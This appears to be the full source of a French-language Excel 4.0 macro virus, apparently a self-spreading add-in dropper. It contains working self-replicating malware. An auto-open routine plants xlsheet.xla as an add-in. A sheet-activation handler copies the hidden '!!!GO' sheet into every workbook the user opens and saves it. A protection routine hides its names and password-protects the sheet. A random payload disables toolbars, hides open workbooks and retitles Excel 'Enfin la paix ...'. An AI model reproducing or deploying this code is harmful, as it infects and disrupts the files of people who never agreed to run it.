auto_ouvrir
feuille_base="xlsheet.xla"
liste_classeur=DOCUMENTS(3)
=RETURN()
=ECHO(FALSE)
=IF(GET.DOCUMENT(88)="xlsheet.xla")
=    ON.WINDOW(,'!!!GO_Inactive'!activation_feuille)
=END.IF()
existe=0
i=1
=WHILE(NOT(ISERROR(INDEX(liste_classeur,,i))))
=      IF(INDEX(liste_classeur,,i)="xlsheet.xla")
              existe=existe+1
=      END.IF()
        i=i+1
=NEXT()
=IF(existe<1)
=    IF(LEFT(GET.DOCUMENT(2),1)<>"C")
            path_xla="C:\WINDOWS"
=    ELSE()
           path_xla=GET.DOCUMENT(2)
=    END.IF()
=    VBA.MAKE.ADDIN(path_xla&"\xlsheet.xla")
=    WORKBOOK.ACTIVATE("!!!GO")
=    ADDIN.MANAGER(3,path_xla&"\xlsheet.xla",FALSE)
=    IF(ISERROR(ADDIN.MANAGER(1,"Xlsheet")))
=         ADDIN.MANAGER(1,"")
=    END.IF()
      create_xla=1
=ELSE()
      create_xla=0
=END.IF()
=ECHO(TRUE)
=ERROR(TRUE)
=RETURN()

activation_feuille
nouvelle_feuille=GET.DOCUMENT(88)
=ERROR(FALSE)
=ECHO(FALSE)
=ACTIVATE(feuille_base)
=WORKBOOK.UNHIDE("!!!GO")
=ACTIVATE(nouvelle_feuille)
=WORKBOOK.UNHIDE("!!!GO")
=IF(NOT(ISERROR(WORKBOOK.SELECT("!!!GO","!!!GO"))))
=    GO()
=ELSE()
=    IF(NOT(ISNA(GET.DOCUMENT(2))))
=        WORKBOOK.COPY("["&feuille_base&"]!!!GO",GET.DOCUMENT(88),1)
=        SAVE()
=    END.IF()
=END.IF()
=ACTIVATE(feuille_base)
=WORKBOOK.HIDE("!!!GO",TRUE)
=ACTIVATE(nouvelle_feuille)
=WORKBOOK.HIDE("!!!GO",TRUE)
=ECHO(TRUE)
=ERROR(TRUE)
=RETURN()

protect
=DEFINE.NAME("protect","=L62C1",2,,TRUE,14)
=DEFINE.NAME("Auto_ouvrir","=L2C1",2,,TRUE,14)
=DEFINE.NAME("Auto_fermer","=L103C1",2,,TRUE,14)
=DEFINE.NAME("activation_feuille","=L38C1",2,,TRUE,14)
=DEFINE.NAME("GO","=L81C1",2,,TRUE,14)
=DEFINE.NAME("feuille_base","=",3,,TRUE,14)
=DEFINE.NAME("nouvelle_feuille","=",3,,TRUE,14)
=DEFINE.NAME("liste_classeur","=",3,,TRUE,14)
=DEFINE.NAME("nouveau_classeur","=",3,,TRUE,14)
=DEFINE.NAME("existe","=",3,,TRUE,14)
=DEFINE.NAME("i","=",3,,TRUE,14)
=DEFINE.NAME("path_xla","=",3,,TRUE,14)
=DEFINE.NAME("create_xla","=",3,,TRUE,14)
=WORKBOOK.SELECT("!!!GO","!!!GO")
=PROTECT.DOCUMENT(TRUE,,"!!!GO97",TRUE,TRUE)
=WORKBOOK.HIDE(,TRUE)
=RETURN()

!!!GO
=ERROR(FALSE)
=IF(RAND()*100>98)
=    ACTIVATE(nouvelle_feuille)
=    SHOW.BAR(ADD.BAR())
      i=1
=    WHILE(i<13)
=          SHOW.TOOLBAR(i,FALSE)
           i=i+1
=    NEXT()
=    OPTIONS.VIEW(FALSE,FALSE,,,,,,,,,FALSE,FALSE,FALSE,FALSE,FALSE)
      i=1
=    WHILE(NOT(ISERROR(INDEX(liste_classeur,,i))))
=          ACTIVATE(INDEX(liste_classeur,,i))
=          HIDE()
            i=i+1
=    NEXT()
=    APP.TITLE("Enfin la paix ...")
=END.IF()
=ERROR(TRUE)
=RETURN()

auto_fermer
=IF(create_xla=1,ERROR(FALSE))
=RETURN()
